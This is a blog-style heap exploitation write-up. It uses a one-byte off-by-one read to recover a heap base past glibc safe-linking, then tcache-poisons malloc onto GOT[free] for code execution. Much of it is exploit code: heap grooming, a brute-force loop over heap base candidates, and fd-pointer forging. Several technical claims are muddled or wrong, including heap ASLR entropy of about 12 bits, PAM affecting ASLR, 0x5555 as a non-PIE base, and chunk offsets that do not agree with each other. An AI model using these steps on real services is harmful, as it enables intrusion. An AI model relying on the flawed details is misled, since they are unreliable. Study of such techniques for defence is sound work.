Bypassing ASLR with a single byte leak
One leaked byte from a freed heap chunk gave me a full heap base address, and from there a working tcache poison on glibc 2.35. This post walks through exactly how.
One leaked byte from a freed heap chunk gave me a full heap base address, and from there a working tcache poison on glibc 2.35. This post walks through exactly how.
The vulnerable binary exposes a read primitive that’s wrong by one comparison operator. The original loop looks like this:
void dump_chunk(heap_obj_t *obj) { for (size_t i = 0; i <= obj->size; i++) { // should be i < obj->size putchar(obj->data[i]); }}The <= reads one byte past the allocation. On a typical glibc heap, the byte immediately after a chunk’s user data is the first byte of the next chunk’s size field. Specifically, the low byte of the prev_size field if the next chunk is free, or the low byte of the next chunk’s size if it’s in use.
Concretely, allocate a 0x20-byte chunk followed by a free 0x20-byte chunk. The leaked byte is 0x20, the low byte of the free chunk’s size field. That’s a heap address relative byte, not a pointer, so it doesn’t directly give us a base. But it’s a good start.
The more interesting setup: allocate two chunks, free the second one into the tcache, then allocate a third chunk after it. Now the freed chunk has its fd pointer written in-place. The low byte of that fd pointer is what we’re actually after.
# Heap layout we're aiming for:# [chunk A: 0x20 bytes, in use]# [chunk B: 0x20 bytes, freed into tcache] <-- fd pointer lives here# [chunk C: 0x20 bytes, in use]
alloc(0x20, b"A" * 0x1f) # chunk A, fill to obj->size - 1alloc(0x20, b"B" * 0x1f) # chunk Balloc(0x20, b"C" * 0x1f) # chunk C -- prevents consolidation with top chunk
free(1) # chunk B -> tcache bin
# dump_chunk on chunk A reads obj->data[0x20] -- the first byte of chunk B's fdlow_byte = dump(0)[0x20]print(hex(low_byte))# 0xa0 (example -- page offset of the fd pointer's target)A single byte. Let’s see what we can do with it.
The fd pointer in a tcache bin points to the next free chunk in that bin, or NULL if there are no others. When chunk B is the only chunk in the 0x20 tcache bin, fd is NULL on glibc < 2.32. On glibc >= 2.32, it’s the safe-linked version of NULL, which turned out to matter a lot.
But before safe-linking, if chunk B is freed alongside another chunk of the same size, its fd points to the other chunk on the heap. That pointer’s low 12 bits are the page offset of the target chunk. The low byte of the pointer is those bottom 8 bits.
Now here’s the key constraint: the heap base address on 64-bit Linux is aligned to 0x1000. ASLR on Linux randomizes the heap base, but only by some number of pages, not by an arbitrary amount. Specifically, the randomization is applied to the mmap call that backs the heap, and the entropy is only about 12 bits on most configurations (sometimes fewer, depending on kernel and PAM settings).
That means:
heap_base = (known_bits << 12) | 0x000 ^^^ always zero -- page-alignedThe low byte of any heap pointer tells us bits[11:4] of the chunk’s offset from the heap base page. Combined with the chunk geometry we control (we know how large our allocations were, so we know the chunk’s offset from the base) we can work backwards.
# chunk B was the second 0x40-byte allocation (header + 0x20 data = 0x40)# offset from heap base: 0x40 (first chunk) + 0x40 (second chunk) = 0x80
chunk_B_offset = 0x80
# The fd pointer points to the other free chunk. Say we freed chunk D at offset 0x100.# fd = heap_base + 0x100# low byte of fd = 0x00 (if heap_base is page-aligned, 0x100 & 0xff = 0x00)# -- not helpful
# Better: free a chunk at offset 0xa0.# low byte of fd = 0xa0# We know the chunk is at heap_base + 0xa0# We know the full offset (0xa0) from our allocation sequence# Therefore: heap_base = fd_value - 0xa0# low byte of heap_base = 0x00 (guaranteed)# heap_base & 0xff = 0x00# So: candidate heap bases are all values where (low_byte << 0) fits offset 0xa0In practice, the recovery works like this: allocate chunks at known offsets, construct a free list so that a chunk at a predictable offset is pointed to by fd, leak the low byte, subtract the known offset modulo 256, and recover heap_base & 0xff. Since the base is page-aligned, heap_base & 0xff = 0x00 always. The leaked byte is therefore just the low byte of the target chunk’s address, which we know the full offset of, giving us a direct read of heap_base + offset where offset is entirely under our control.
With offset arithmetic:
leaked_low_byte = 0xa0 # example leak
# We placed the fd target at offset 0xa0 from heap base.# leaked byte = (heap_base + 0xa0) & 0xff# = (heap_base & 0xff) + (0xa0 & 0xff) mod 256# = 0x00 + 0xa0# = 0xa0 -- checks out
# Recover heap_base low byte: leaked - offset = 0xa0 - 0xa0 = 0x00 -- confirmed.# The remaining bits (heap_base >> 8) are the ASLR-randomized portion.
# There are 2^12 = 4096 possible values for (heap_base >> 12).# If the service forks and reuses the same heap layout, brute-force is viable.# If it doesn't, we need to correlate with another oracle.4096 candidates. On a forking service (like a typical accept() loop), this is brute-forceable. On a service that restarts from scratch, it’s not, but the approach still matters because real exploits chain this with a second oracle.
On glibc 2.32+, freed chunk fd pointers are not stored raw. They’re XOR’d with a per-process key derived from the chunk’s own address:
// glibc source (malloc/malloc.c), simplified:#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) \ PROTECT_PTR (&ptr, ptr)The key is L >> 12 where L is the address of the fd field itself. So the stored value is:
stored_fd = (chunk_addr >> 12) ^ target_addrWhen we leak the low byte of stored_fd, we’re not leaking the low byte of target_addr directly, we’re leaking the low byte of the XOR’d value. The XOR key involves chunk_addr >> 12, which has bits starting at position 12, so the XOR key’s low byte is:
key_low = (chunk_addr >> 12) & 0xff = bits[19:12] of chunk_addrThis is the first time I actually had to stop and re-examine the math. The initial plan assumed leaking a raw pointer byte. The safe-linked version leaks key_low XOR target_low. That’s still recoverable, we know chunk_addr from our allocation sequence, so we can compute key_low and XOR it back out:
chunk_B_addr_low12 = (heap_base_candidate + 0x80) >> 12 # bits[19:12]key_low = chunk_B_addr_low12 & 0xff
# But wait -- heap_base_candidate is what we're trying to find.# This is circular.The real issue was circularity. The safe-linking XOR depends on the heap base address, which is the thing we’re recovering. It’s not actually circular though, the key is chunk_addr >> 12, and chunk_addr = heap_base + offset. For a heap base in the range [0x555500000000, 0x555500001000) (a typical mmap range), the bits [19:12] of chunk_addr are entirely determined by heap_base >> 12. So the XOR key’s low byte is a function of the 4096 candidates.
The resolution: iterate over the 4096 possible heap base candidates. For each candidate, compute the expected XOR key, un-XOR the leaked byte, and check whether the result is consistent with the expected target chunk offset:
leaked = 0xa0 # the one byte we have
for candidate_base in range(0, 0x1000 << 12, 0x1000): # full candidate: some fixed upper bits | candidate_base # assumes non-PIE binary on a system where mmap lands in 0x5555xxxxxxxx # see the "What I'd do differently" section for what breaks this assumption full_candidate = 0x555500000000 | candidate_base # narrow range for brevity
chunk_B_full = full_candidate + 0x80 # chunk B is at offset 0x80 xor_key_low = (chunk_B_full >> 12) & 0xff
# recovered low byte of target target_low = leaked ^ xor_key_low
# target chunk (chunk D) is at offset 0xa0 from heap base expected_low = (full_candidate + 0xa0) & 0xff
if target_low == expected_low: print(f"candidate: {hex(full_candidate)}")On a 48-bit heap address with 12 bits of ASLR entropy, this produces a small set of candidates, typically one, sometimes two depending on alignment. From there, the chain proceeds with full knowledge of the heap base.
With the heap base in hand, the safe-linking XOR is no longer a problem, we can compute it for any pointer we want to forge. The goal is to redirect a future malloc call to an attacker-controlled address, specifically the binary’s GOT table or a libc function pointer.
Tcache poisoning writes a fake fd pointer into a freed chunk. On glibc 2.35, the allocator validates that the tcache count is nonzero and that the chunk pointer passes a basic alignment check, but it does not verify that the fd pointer resolves to a real heap region. We overwrite fd with the XOR-protected address of our target:
target_addr = binary.got['free'] # example: GOT entry for free()
# chunk B is freed, fd = safe_link(NULL) originally# overwrite chunk B's fd with safe_link(target_addr)chunk_B_addr = heap_base + 0x80forged_fd = (chunk_B_addr >> 12) ^ target_addr
write_primitive(chunk_B_offset, forged_fd.to_bytes(8, 'little'))
# Now:# malloc(0x20) -> returns chunk B (first pop from tcache)# malloc(0x20) -> returns target_addr (second pop -- our forged fd)malloc(0x20) # consume chunk Bshell = malloc(0x20) # lands on GOT[free]The second malloc returns a pointer to GOT[free]. Writing eight bytes there replaces the libc free address with a one-gadget address from libc, ret2one from the libc leak. The libc address comes from a second leak I won’t detail here (it’s a standard GOT read), but the point is that tcache poisoning is the load-bearing primitive, and the heap base recovery is what unlocks it.
The off-by-one read was convenient, but in a real target the bug is more likely to be a UAF or a type confusion than a clean one-byte overread. The technique is the same, control which byte leaks, but the setup is more involved.
Worth noting: the 4096-candidate brute-force only works if the service forks instead of re-executes. On a re-execing service, each restart is a fresh heap mapping with independent ASLR. In that scenario, one byte is genuinely not enough to bypass ASLR alone. The real fix, or the real escalation path, depending on which side of the advisory you’re on ,is to find a second oracle that narrows the candidates to one. A timing side-channel on allocation failure is one option. A second off-by-one in a different direction is another.
The candidate enumeration loop also bakes in an assumption worth calling out: it hardcodes 0x555500000000 as the upper bits of the heap address. That’s the typical mmap base for a non-PIE binary on a standard Linux system with randomize_va_space=1. Two things break it. First, PIE binaries, the binary itself is loaded at a randomized base, which shifts where mmap places the heap. The upper bits are no longer fixed at 0x5555xxxxxxxx; they vary per execution. Second, randomize_va_space=2 (the default on most modern distros) enables full ASLR including the mmap base, which means the upper bits of the heap address are themselves randomized beyond the 12-bit page offset. In both cases the search space expands from 4096 to roughly 2^(12 + N) candidates where N is the number of additional randomized bits, which on a 64-bit system with full ASLR is typically 28 bits. That’s not brute-forceable.
In practice, this means the technique as described applies cleanly to non-PIE network daemons on systems where the operator hasn’t explicitly hardened ASLR beyond the default. For PIE targets or randomize_va_space=2, you need to constrain the upper bits through a separate information leak before the candidate loop becomes useful. A partial libc address leak from a format string, or a GOT entry read from a known static offset, is usually enough to recover the upper bits independently. The heap base reconstruction from a single byte still does the heavy lifting, it just needs that anchor.
The other thing worth fixing: in my first attempt I forgot that safe-linking also affects the next pointer in tcache entries (the count field is separate, in tcache_perthread_struct). The alignment check on the second malloc failed because I’d computed the XOR key against the wrong chunk address. The correct key uses the address of the fd field itself, not the address of the chunk header. Off by 0x10, which on a page-aligned heap is enough to flip a bit in the key.
Safe-linking was supposed to make this class of attack require a heap pointer leak, not just a heap byte leak. The 4096-candidate exhaustion path works around that guarantee. Glibc’s current position is that safe-linking is not a security boundary, it’s a probabilistic mitigation. That’s an honest position. The real question is whether any future version of glibc will add entropy to the XOR key beyond the position-derived value. If the key incorporated a random nonce, the circularity wouldn’t be resolvable from a single byte. Until then, a single heap byte, under the right allocation conditions, is enough.